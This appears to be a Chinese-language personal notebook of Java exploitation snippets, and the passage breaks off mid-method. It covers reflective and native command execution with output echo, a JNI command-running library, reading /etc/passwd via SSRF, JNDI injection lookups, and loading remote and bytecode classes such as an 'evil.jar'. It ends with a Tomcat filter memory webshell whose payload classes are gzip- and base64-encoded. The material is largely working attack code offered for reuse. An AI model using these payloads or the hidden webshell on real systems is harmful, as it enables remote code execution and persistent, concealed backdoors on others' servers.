自己记性差写代码少,来篇文章记录下
命令执行
Runtime命令执行
Runtime.getRuntime().exec("calc");
ProcessBuilder命令执行
new ProcessBuilder("cmd", "/c calc").start();
ProcessImpl命令执行
String [] cmd={"cmd.exe","/c","calc"};
Class processimpl=Class.forName("java.lang.ProcessImpl");
java.lang.reflect.Method m1=processimpl.getDeclaredMethod("start", String[].class, java.util.Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
m1.setAccessible(true);
Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);
forkAndExec命令执行-Unsafe+反射+Native方法调用
public byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
public String exec(String strs) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});
forkMethod.setAccessible(true);// 设置访问权限
int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});
// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
// 获取本地执行结果的输入流
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
return baos.toString();
}
JShell执行任意代码
jdk>8下
jdk.jshell.JShell.create().eval("Runtime.getRuntime().exec(\"calc\")");
命令回显
常规
Process process = Runtime.getRuntime().exec("cmd.exe /c "+"ipconfig");
InputStream in = process.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in));
String line;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
String str = sb.toString();
System.out.println(str);
Scanner回显
String cmd = "whoami";
boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
System.out.println(output);
一行代码命令回显
回显第一行
System.out.println(new Scanner(Runtime.getRuntime().exec("whoami").getInputStream()).next());
System.out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine())
回显所有结果
System.out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).useDelimiter("\\A").next())
使用linux socket文件特性回显
java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{int.class});
c.setAccessible(true);
//一般50以内的文件描述符就能遍历到,从3开始,0为标准输入,1为标准输出,2为标准错误输出
for(int i=3;i<50;i++){
try {
new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(i)})).write(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("cat /flag").getInputStream())).readLine().getBytes());
}catch (Exception e){}
}
加载动态链接库
常用
System.load("/tmp/lib.so");
System.loadLibrary("tmp/lib.so");
loadLibrary0加载
ClassLoader loader = ClassLoader.getSystemClassLoader();
Class evilClass = Class.forName("evilClass");
File libPath = new File("/tmp/lib.so");
Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
loadLibrary0Method.setAccessible(true);
loadLibrary0Method.invoke(loader, evilClass, libPath);
NativeLibrary#load加载
准备 EvilClass.java
public class EvilClass {
public static native String execCmd(String cmd);
}
在当前目录运行
javac EvilClass.java
javah EvilClass
生成 EvilClass.h 文件如下
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class EvilClass */
#ifndef _Included_EvilClass
#define _Included_EvilClass
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: EvilClass
* Method: execCmd
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd
(JNIEnv *, jclass, jstring);
#ifdef __cplusplus
}
#endif
#endif
根据EvilClass.h文件编写EvilClass.c文件
EvilClass.c
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include "EvilClass.h"
int execmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败
while (!feof(pipe))
{
if (fgets(buffer, 128, pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd(JNIEnv *env, jclass class_object, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execmd(cstr, result))
{
// printf(result);
}
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();
return cmdresult;
}
编译生成对应动态链接库文件
gcc -fPIC -I $JAVA_HOME/include -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c
//调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
......
public class EvilClass {
public static native String execCmd(String cmd);
}
......
ClassLoader cmdLoader = EvilClass.class.getClassLoader();
Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
load.setAccessible(true);
Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
field.setAccessible(true);
Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
nativeLibraryCons.setAccessible(true);
Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false);
libs.addElement(nativeLibraryObj);
//这里注意要将libs放入对应的ClassLoader中(跟着源码调下就能知道)
field.set(cmdLoader, libs);
load.invoke(nativeLibraryObj, LIB_PATH, false);
//执行命令
EvilClass.execCmd("whoami");
......
......
SSRF
常见
new URL("http://127.0.0.1/").openStream();
new URL("file:///etc/passwd").openStream();
new JEditorPane().setPage("http://127.0.0.1/");
绕过trick
new URL("file:///etc/passwd").openStream();
//等价于
new URL("url:file:///etc/passwd").openStream();
文件写入
FileOutputStream写文件
FileOutputStream fos = new FileOutputStream("1.txt");
fos.write("test".getBytes());
fos.close();
RandomAccessFile写文件
RandomAccessFile randomAccessFile = new RandomAccessFile("test.txt", "rw");
randomAccessFile.write("test123".getBytes());
randomAccessFile.close();
FileSystemProvider写文件
java.nio.file.Files.write(java.nio.file.Paths.get("2.txt"), "test".getBytes());
文件读取
一行代码读取文件所有内容
System.out.println(new java.util.Scanner(new java.io.FileInputStream("test.txt")).useDelimiter("\\A").next());
FileInputStream读文件
FileInputStream fis = new FileInputStream("test.txt");
byte[] bs = new byte[fis.available()];
fis.read(bs);
System.out.println(new String(bs));
fis.close();
//or
FileInputStream fis = new FileInputStream("test.txt");
int a = 0;
byte[] bytes = new byte[1024];
ByteArrayOutputStream out = new ByteArrayOutputStream();
while ((a = fis.read(bytes)) != -1) {
out.write(bytes, 0, a);
}
System.out.println(out);
fis.close();
RandomAccessFile读文件
RandomAccessFile randomAccessFile = new RandomAccessFile("test.txt", "rw");
byte[] res = new byte[(int) randomAccessFile.length()];
randomAccessFile.read(res);
randomAccessFile.close();
System.out.println(new String(res));
FileSystemProvider读文件
byte[] res = java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("test.txt"));
System.out.println(new String(res));
URL类读文件(目录)
//形成SSRF,可读目录
String url = "file:///D:/";
InputStream input = new URL(url).openStream();
byte[] bs = new byte[input.available()];
input.read(bs);
System.out.println(Arrays.toString(bs));
System.out.println(new String(bs));
JNDI注入
new javax.naming.InitialContext().lookup("ldap://127.0.0.1:1389/exp");
恶意类加载
远程class加载
URL[] urls = new URL[]{new URL("http://127.0.0.1/")};
URLClassLoader.newInstance(urls).loadClass("Exploit").newInstance();
TemplateImpl加载字节码
//弹计算器
byte[] code = Files.readAllBytes(Paths.get("E:\\web-project\\java\\Test.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
spring ReflectUtils加载字节码
//恶意字节码
byte[] bytes = new byte[]{};
org.springframework.cglib.core.ReflectUtils.defineClass("EvilClass", bytes, ClassLoader.getSystemClassLoader());
ClassLoader defineClass 加载字节码
byte[] code = Files.readAllBytes(Paths.get("E:\\web-project\\java\\Test.class"));
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class c = (Class) defineClass.invoke(cl, "Test", code, 0, code.length);
c.newInstance();
Unsafe defineClass 加载字节码
byte[] code = Files.readAllBytes(Paths.get("E:\\web-project\\java\\Test.class"));
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Class c = Unsafe.class;
Field theUnsafeField = c.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class c2 = (Class) unsafe.defineClass("Test", code, 0, code.length, cl, null);
c2.newInstance();
Unsafe defineAnonymousClass 加载字节码
byte[] evilClassBytes = Files.readAllBytes(Paths.get("Evil.class"));
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe theUnsafe = (Unsafe) f.get(null);
theUnsafe.defineAnonymousClass(Class.class, evilClassBytes, null).newInstance();
jdk17+ bypass module
public static void bypassModule(Class currentClass) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.putObject(currentClass, offset, baseModule);
}
Unsafe类
defineClass 加载字节码
byte[] code = Files.readAllBytes(Paths.get("E:\\web-project\\java\\Test.class"));
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Class c = Unsafe.class;
Field theUnsafeField = c.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class c2 = (Class) unsafe.defineClass("Test", code, 0, code.length, cl, null);
c2.newInstance();
defineAnonymousClass 加载字节码
byte[] evilClassBytes = Files.readAllBytes(Paths.get("Evil.class"));
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe theUnsafe = (Unsafe) f.get(null);
theUnsafe.defineAnonymousClass(Class.class, evilClassBytes, null).newInstance();
allocateInstance不执行构造方法实例化对象
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe theUnsafe = (Unsafe) f.get(null);
Test test = (Test) theUnsafe.allocateInstance(Test.class);
suid
查看sUID
ObjectStreamClass osc1 = ObjectStreamClass.lookup(bsh.XThis.class);
System.out.println(osc1.getSerialVersionUID());
修改sUID
TemplatesImpl obj = new TemplatesImpl();
java.lang.reflect.Field sUID = obj.getClass().getDeclaredField("serialVersionUID");
sUID.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(sUID, sUID.getModifiers() & ~Modifier.FINAL);
sUID.set(obj, -3070939614679977597L);
System.out.print(getFieldValue(obj, "serialVersionUID"));
有危害的方法
setter
JdbcRowSetImpl obj = new JdbcRowSetImpl();
obj.setDataSourceName("ldap://127.0.0.1:1389/exp");
obj.setAutoCommit(true);
oracle.jdbc.rowset.OracleJDBCRowSet obj2 = new OracleJDBCRowSet();
obj2.setDataSourceName("ldap://127.0.0.1:1389/exp");
obj2.setCommand("123");
com.sun.management.jmx.TraceListener obj3 = new com.sun.management.jmx.TraceListener();
obj3.setFile("1.php::$INDEX_ALLOCATION");
new JEditorPane().setPage("http://127.0.0.1/");
new org.apache.batik.swing.JSVGCanvas().setURI("http://127.0.0.1/");
getter
java.net.URL url = new URL("http://127.0.0.1");
url.getContent();
com.sun.rowset.JdbcRowSetImpl obj = new JdbcRowSetImpl();
obj.setDataSourceName("ldap://127.0.0.1:1389/exp");
obj.getDatabaseMetaData();
Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});
ctor.setAccessible(true);
javax.naming.directory.Attribute obj2 = (Attribute) ctor.newInstance("id");
setFieldValue(obj2, "baseCtxURL", "ldap://127.0.0.1:1389");
setFieldValue(obj2, "rdn", new CompositeName("exp"));
obj2.getAttributeDefinition();
FileInputStream inputFromFile = new FileInputStream("D:\\Downloads\\workspace\\test\\bin\\test\\TemplatesImplcmd.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj3 = new TemplatesImpl();
setFieldValue(obj3, "_bytecodes", new byte[][]{bs});
setFieldValue(obj3, "_name", "TemplatesImpl");
setFieldValue(obj3, "_tfactory", new TransformerFactoryImpl());
obj3.getOutputProperties();
oracle.jdbc.rowset.OracleCachedRowSet obj4 = new OracleCachedRowSet();
obj4.setDataSourceName("ldap://127.0.0.1:1389/exp");
obj4.getConnection();
有危害的单String参数构造方法
org.springframework.context.support.ClassPathXmlApplicationContext obj = new ClassPathXmlApplicationContext("http://127.0.0.1");
org.springframework.context.support.FileSystemXmlApplicationContext obj2 = new FileSystemXmlApplicationContext("http://127.0.0.1");
静态方法
//jdk>8
jdk.jshell.JShell.create().eval("Runtime.getRuntime().exec(\"calc\")");
org.springframework.cglib.core.ReflectUtils.defineClass("EvilClass", bytes, java.lang.ClassLoader.getSystemClassLoader());
利用静态方法实例化对象,在一些模板注入中常用
java.beans.Beans.instantiate(null, "org.springframework.context.support.ClassPathXmlApplicationContext");
其forName方法只能加载到jdk内部中的类(获取的类加载器为null)
sun.reflect.misc.ReflectUtil.newInstance(sun.reflect.misc.ReflectUtil.forName("javax.script.ScriptEngineManager"));
sun.reflect.misc.ReflectUtil.newInstance(sun.reflect.misc.ReflectUtil.forName("javax.naming.InitialContext"));
其他
new javax.swing.plaf.synth.SynthLookAndFeel().load(new URL("http://127.0.0.1:8080/evil.xml"));
new javax.el.ELProcessor().eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec('calc');\")");
//MLet 继承自 URLClassloader
MLet mLet = new MLet();
mLet.addURL("http://127.0.0.1:2333/evil.jar");
mLet.loadClass("Exploit").newInstance();
spring模板内置对象获取各种bean
springMacroRequestContext.webApplicationContext.getBean("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory");
jacksonBean实例化对象
applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz)
内存马
tomcat高兼容性filter内存马
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.*;
import java.util.zip.GZIPInputStream;
// ?cmd=calc
public class TomcatFilterMemShell {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "CmdFilterShell";
}
public String getBase64String() {
return new String("H4sIAAAAAAAAAKVWa3MTZRR+Nrd3s9lCm14gtKWgUtJrFLBqCggWELTQ2iDYFsVtsm22JLshu+lFVLzffoH9Bf3ijMOMhqKjg86IM3xkhvGj/g4/gM9uSklqwA9+2PNeznuec85zzr67t+/98DOAA/hKwW68KONIGLtwVOAlgZEIAjgm47iCE3hZgYqTMk654ysCr8oYlXFaxhkZYwrG8ZorJhSkcFbgdQUtOCfjvDu+4YpJV0zJmI4giAsK3sRbrrgo8HYEGmYE0gIZAV1CoKDZtoTo6Ly2oCVymjmXSDlFw5wblhA6aJiGc1iCP95zjkdHrAwtto4apn6mlJ/Ri2e1mRx35Ix1wsg5elHCdNwDWkrYenEhpzuJVGWc0C+XdNsZfpTWLlimrW9WV1BHspphDrsRNKQcLX3ptFbwHHtZzArMCWQrHJIpAUNgnqQwVwnK8aW0XnAMggtcEsgxCzcnCV2bA133ZZmzxpznTGQYcNFaJkrKKhXTOk8w2eaRfKZyNpXVc7lBF0XFHnSTpnQ+o+JJPCVhTy141nEKiZMUtXRI6P6vcxViVORhMiTLHjS1PDO3VBRgqrgMku5fNDi1QbzGzWWU4LOzFANpmjO+QX2JSfgSpK6kYgGLKpawLPCOiit4V0KTB1ByjFwildZMUy+6yb1HkwtHVbyPqyo+wIcqPnIdszs/xicCn6r4DJ+r+MJloflhCBvss0IqevClhC219NVEPDYzr6eZREu9ykjoeFxnSeh8bGtJiD2ytxjzdL3+r2RiWIlTZqHkcFvX8tW7Yxv5SdhZ13vVAXVOd8a1IqvnJdMd/7fHnnpBVFd02XZ0RhBxoYpWQS867M6IY41ai0xFc7NsiddFkdOW6TBVvurt1Z6ZfzHlMmim9eGeqQf193QTJdMx8sRU6G9j0VrjYH2bHgJsLPZYPF6HymoLBp7WbXu4xtX6JtuDrmrY3vbAXW0ZaL49XlfhvrpqydaP6Tkjb3hc730019WNTkyR1ewz+pLjXXlkI2B6izCjOl+sgFUHNE6odUV1u1RtSwguuhOXtzpBMNbgbK7kvqFH/t/N2XOOn5RdfCQ8wUdyryF+awKc8W6i3MtVH3ycAZHe65B6o77v4b/GJatGuQV+SoUmYcoId3vQSwMaSr/wO9JA7V99NxFIBvpvIpgMxgK938F/AyEfkqFY6Ba+DQyJqFiDnJRj8i00x+QywlGljMgKQv4h0SpWsCv0E9RJf7QhNRmIbklNEiXq8zBSq+hcV251lY01ymR4DU2xcBnRMpqTyo9omYwp19EabStjWzISi5SxfQXeGFtFMLojqcaCN9DO914to2N9XkbnKhqTYhWRgb7+G+jyYxUNydCDxTXmuxO/4jdKFXdwl6PPY2cKbZQNCJEnFU2IIUpdCwlvpb4NSWzDIe5ewQ5eg+34Gh34Bp1Y8/B2E7ELv3O8zcLcIad3WZY/WJg/yXIfkS9CuU+AsEC/wIDAoEBC4GmBZwT2SXyA3ZMC+++5mv0CBwSe5Z/Dvvv0J+oagVZDgb8h+GUcCuM5OgkxmefxAkubxHCltAwZnLHGDzsh5DVJv2fiNpBrcHCjiWLeuToGCcpDHtrhfwDY1iAi6ggAAA==");
}
//适配springboot3
public String getBase64String2() throws IOException {
return new String("H4sIAAAAAAAAAKVWWXMUVRT+bjKZO5npkGQCgRHIAkI2yLBGmIBKwqphkWExAcXOpJPpMOkJ3T1Z3HdxQ8WN4FLlU16ssqjSQLS0KKrEKh4tLat8kd/hA/h1z2SYMZPEKh+6+957zv3OOd855/a9def7nwBswZd+FKFYwqOgBF6BikF1RA0nVGMgfLh3UIvZAt4duqHbDwoUNzad8MHHQWyorxR+BCQUBWVYJLCoc6hvr56wNTMa1xIJAc+walkCwa57gFHb1I2BdokKgYZB9axq2mrY0syRhGaH47Y9HN7PVzS9cFQ7l9IsWyIo0LiwsjWcNCwtgHIsVrAE1QLKgGYfUU11SKNTAmsbZ3vSNHvJh2UCMmm1Gtzox31YLrFCwUoHMYeb6Lhla0MCAceImRzWTHvcj1rUSdQrWIXV+douNrXtZFdyVDM7VUsTWNxY0P4a8juqGw5ag4JGNAn4YknDVnWDfC7PDaMzrppRhycjprU39fjQIlBkxX1Yz+/6mA9hxsJctWpjmg8buRiO+bEZWyS2KmjDAwKV99COpgxbH6JjfgaVnSzJ8zKz3O6gbFcQQTszTfQYk9R4an6GyVNMsyzu3YkHJR5S8DB25XmQ0WA10YMDxnDKJoymkuelM17oyXCOgLXUOYOQsvVEOBpTDUMz/ejAHqei9wosayy40ynl/WTk9C5H+REFj6KLRZOytN1aQh/S3aJpmLtocs21OxCHFBzGERIeV61D2pjt9kuPIzmqIOpUhMfgsg/HBRBAJU4qeBzdAqUM9qSZNpgb5xGaywho4BROSzyh4EmcEagqoCNQMuoMnJQV8PqEA6Eq6HW6vKQ/kbLiEn0zUK7qnrGYNmzrSSOAfgxIxBXoGGTN/bv90o3O6tMNFmdfMj0X2O0YzlfN7+b2ueXpBqafEjw9qgubJIedyT6GWN6lG9qh1FCvZh5TexOac9AkY2rihGrqzjyz6LHjOsupoiv/dGLRqv/f1VkKObQwDlofUU22mOhJD7elP9vJeYFOYVIo3LiB6StYrxk5m7iqQAFmpJvSJtoy0y1ZsPz8tqfViFW3EAtpTeLWL8hHWnWzwMp5mUmr0bWmWWpz/AMyW7YKNP+HLVlvyqK2Gjt7UB12i0HiHYGa+aOVuCBQu0CcEqMSH+T0YN5B5c+SbEl8lKt1OCuR+ITMz2Emq8WyPajZ8WRf9ifGSvY4v2ImY3b1ZihOGv36gFt9NfOr8KDqY8hmcpxOR5MpM6ZRzp6pyu+VVicA1MO5Jwic5SOcPz4vDx6OeGfge4izna6cJ1vzVYjmoPwOpVc4LYLB9yIUOyJuca4NCpKcKWl1DOMcv4JHjUktQhUdJ2wZ1263XEd5xLPuOiojJSFP87conUZVESLekPcmvvG0yeDSawhFfCHfTVSFfFOoCd4/hbUT8Ba3ySVyAnXeH1HbXRxsjnZ7guui3UQJShcjOomVGWGrI9yQJ4yUXsOmUOkUtk1hR8T/Azq6Q/6r2B3cN4UDkUAoMIWDE3C/j02iJHgsooRKpkHWQ8oUejLjKTw1iYqInERgfcu6aWjFmERZxDszuUJ2anADPyNGNn7F7/wWu3z1oJrvcpJbQUkVQlhMzWqmYSlvBMv43w2R8BV4hheT85Rc4mXha9ThGjVuYDURV+EXfm9hDXGbiNyAP7jzL7S43F9gRurxFSzYkFy/jBRXfMTbhxGMMkvnaWMM48zWJTTjaUoCtFCNZ6mn0Po0nuPIS1QfnscLHDFfmVw6oxfxkpvf23gZrzBOZ/QqXmN8XvyJ1/EGa0HBb7TzJrP9FuVn4L/LoEol/BJvS7wr0S9RLlEpUSv4APXdEu/dQSvfEu9LdOzi8l1e0mTBTeCumOdvyA5+S3GRRrx05UN8jE85Liuml6B/oGdOBV7CRLoCsdWtXK7dK2GvG06rS191WpgNVxDoMt8XM12Rxi8RLr7AZ9kmaXHnBXA35rSEyLbE567WF/8ATUBjw60LAAA=");
}
public TomcatFilterMemShell() {
try {
List<Object> contexts;
try {
contexts = this.getContext();
} catch (Exception e) {
bypassModule(this.getClass());
contexts = this.getContext();
}
Iterator var2 = contexts.iterator();
while(var2.hasNext()) {
Object context = var2.next();
Object filter = this.getFilter(context);
this.addFilter(context, filter);
}
} catch (Exception var5) {
var5.printStackTrace();
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList();
Thread[] threads = (Thread[])((Thread[])invokeMethod(Thread.class, "getThreads"));
Object context = null;
try {
Thread[] var4 = threads;
int var5 = threads.length;
for(int var6 = 0; var6 < var5; ++var6) {
Thread thread = var4[var6];
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap)getFV(getFV(getFV(thread, "target"), "this$0"), "children");
Iterator var9 = childrenMap.keySet().iterator();
while(var9.hasNext()) {
Object key = var9.next();
HashMap children = (HashMap)getFV(childrenMap.get(key), "children");
Iterator var12 = children.keySet().iterator();
while(var12.hasNext()) {
Object key1 = var12.next();
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
}
}
} else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
}
}
return contexts;
} catch (Exception var14) {
throw new RuntimeException(var14);
}
}
private Object getFilter(Object context) throws IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(this.getClassName());
} catch (Exception var9) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable var8) {
byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String2()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
}
}
return filter;
}
public String getFilterName(String className) {
if (className.contains(".")) {
int lastDotIndex = className.lastIndexOf(".");
return className.substring(lastDotIndex + 1);
} else {
return className;
}
}
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
ClassLoader catalinaLoader = this.getCatalinaLoader();
String filterClassName = this.getClassName();
String filterName = this.getFilterName(filterClassName);
try {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) {
return;
}
} catch (Exception var16) {
}
Object filterDef;
Object filterMap;
try {
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
} catch (Exception var15) {
try {
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
} catch (Exception var14) {
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance();
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance();
}
}
try {
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
Constructor[] constructors;
try {
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()});
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
} catch (Exception var12) {
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()});
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors();
}
try {
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} catch (Exception var11) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map)getFV(context, "filterConfigs");
filterConfigs.put(filterName, filterConfig);
} catch (Exception var13) {
var13.printStackTrace();
}
}
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Thread[] threads = (Thread[])((Thread[])invokeMethod(Thread.class, "getThreads"));
ClassLoader catalinaLoader = null;
